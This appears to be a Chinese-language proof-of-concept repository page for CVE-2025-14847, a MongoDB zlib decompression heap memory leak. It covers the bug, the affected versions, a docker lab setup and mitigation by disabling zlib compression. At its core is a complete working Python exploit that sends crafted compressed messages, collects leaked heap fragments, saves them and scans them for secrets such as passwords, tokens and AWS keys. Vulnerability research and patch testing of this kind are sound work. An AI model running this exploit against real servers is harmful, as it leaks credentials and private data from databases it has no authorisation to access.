Files
Awesome-POC/数据库漏洞/MongoDB Zlib 压缩协议堆内存信息泄露漏洞 CVE-2025-14847.md
T
2026-01-12 15:48:21 +08:00

8.4 KiB

MongoDB Zlib 压缩协议堆内存信息泄露漏洞 CVE-2025-14847

漏洞描述

MongoDB 是一款流行的开源文档型数据库,它使用类似 JSON 的 BSON 格式存储数据,支持动态模式,允许数据结构灵活变化,非常适合需要快速迭代和存储多样化数据格式的现代应用。

据官方描述,在 MongoDB Server 的受影响版本中,当其处理使用 Zlib 压缩的协议消息时,对消息头部中的长度字段校验存在缺陷。若攻击者构造一个包含不匹配长度字段的特制压缩消息并发送给 MongoDB 服务器,服务器在解压并处理该消息的过程中,可能基于声明的长度从堆内存缓冲区中读取超出实际数据范围的数据。这些超出部分的数据是先前残留在堆内存中、未经过初始化的旧数据,从而导致服务器在响应中包含这些本不应被访问的内存残片信息。

参考链接:

漏洞影响

MongoDB Server 3.6
MongoDB Server 4.0
MongoDB Server 4.2
4.4.0 <= MongoDB < 4.4.30
5.0.0 <= MongoDB < 5.0.32
6.0.0 <= MongoDB < 6.0.27
7.0.0 <= MongoDB < 7.0.28
8.0.0 <= MongoDB < 8.0.17
8.2.0 <= MongoDB < 8.2.3

环境搭建

docker-compose.yaml

version: '3.8'

services:
  mongodb-vulnerable:
    image: mongo:8.2.2
    container_name: mongobleed-target
    ports:
      - "27017:27017"
    environment:
      MONGO_INITDB_ROOT_USERNAME: admin
      MONGO_INITDB_ROOT_PASSWORD: SuperSecret123!
      MONGO_INITDB_DATABASE: secretdb
    volumes:
      - ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
      - mongodb_data:/data/db
    command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"]
    restart: unless-stopped

volumes:
  mongodb_data:

执行如下命令启动一个 MongoDB 8.2.2 服务:

docker-compose up -d

服务启动后,即可认证并连接:

mongosh 'mongodb://admin:[email protected]:27017/secretdb?authSource=admin'

漏洞复现

MongoDB 的 zlib 消息解压缩机制存在缺陷,它返回的是已分配缓冲区的大小,而不是实际解压缩后的数据长度。这使得攻击者可以通过以下方式读取未初始化的内存:

  1. 攻击者在发送压缩消息时, 将 uncompressedSize 设置为一个极大的值。
  2. MongoDB 收到请求后,将根据攻击者声明的 uncompressedSize 在堆上分配内存。
  3. MongoDB 调用 zlib 将数据解压到缓冲区开头。该漏洞导致 MongoDB 将整个缓冲区视为有效数据。
  4. BSON 开始解析该缓冲区,从未初始化的内存中读取“字段名”,直到遇到空字节为止。

我们通过这个 poc 进行复现。

# Basic scan (offsets 20-8192)
python mongobleed.py --host 10.8.0.1

可以看到,MongoDB 已经越过了合法数据的边界,泄露了服务器日志信息、会话或内部状态等数据。

漏洞 POC

#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit

Author: Joe Desimone - x.com/dez_

Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""

import socket
import struct
import zlib
import re
import argparse

def send_probe(host, port, doc_len, buffer_size):
    """Send crafted BSON with inflated document length"""
    # Minimal BSON content - we lie about total length
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content
    
    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)
    
    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size
    payload += struct.pack('B', 2)  # zlib
    payload += compressed
    
    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
    
    try:
        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((host, port))
        sock.sendall(header + payload)
        
        response = b''
        while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        return response
    except:
        return b''

def extract_leaks(response):
    """Extract leaked data from error response"""
    if len(response) < 25:
        return []
    
    try:
        msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]
    except:
        return []
    
    leaks = []
    
    # Field names from BSON errors
    for match in re.finditer(rb"field name '([^']*)'", raw):
        data = match.group(1)
        if data and data not in [b'?', b'a', b'$db', b'ping']:
            leaks.append(data)
    
    # Type bytes from unrecognized type errors
    for match in re.finditer(rb"type (\d+)", raw):
        leaks.append(bytes([int(match.group(1)) & 0xFF]))
    
    return leaks

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()
    
    print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
    print(f"[*] Author: Joe Desimone - x.com/dez_")
    print(f"[*] Target: {args.host}:{args.port}")
    print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    print()
    
    all_leaked = bytearray()
    unique_leaks = set()
    
    for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)
        
        for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)
                
                # Show interesting leaks (> 10 bytes)
                if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
    
    # Save results
    with open(args.output, 'wb') as f:
        f.write(all_leaked)
    
    print()
    print(f"[*] Total leaked: {len(all_leaked)} bytes")
    print(f"[*] Unique fragments: {len(unique_leaks)}")
    print(f"[*] Saved to: {args.output}")
    
    # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

if __name__ == '__main__':
    main()

漏洞修复

通用修补建议

缓解措施

在 MongoDB 服务器上禁用 Zlib 压缩。具体操作方法如下:

  • 可通过为 mongod 或 mongos 进程设置 networkMessageCompressors 或 net.compression.compressors 启动选项,并明确排除 zlib(可使用其它示例安全值:snappy、zstd 或直接设置 disabled 完全禁用),来禁用 zlib 压缩,从而临时缓解该漏洞。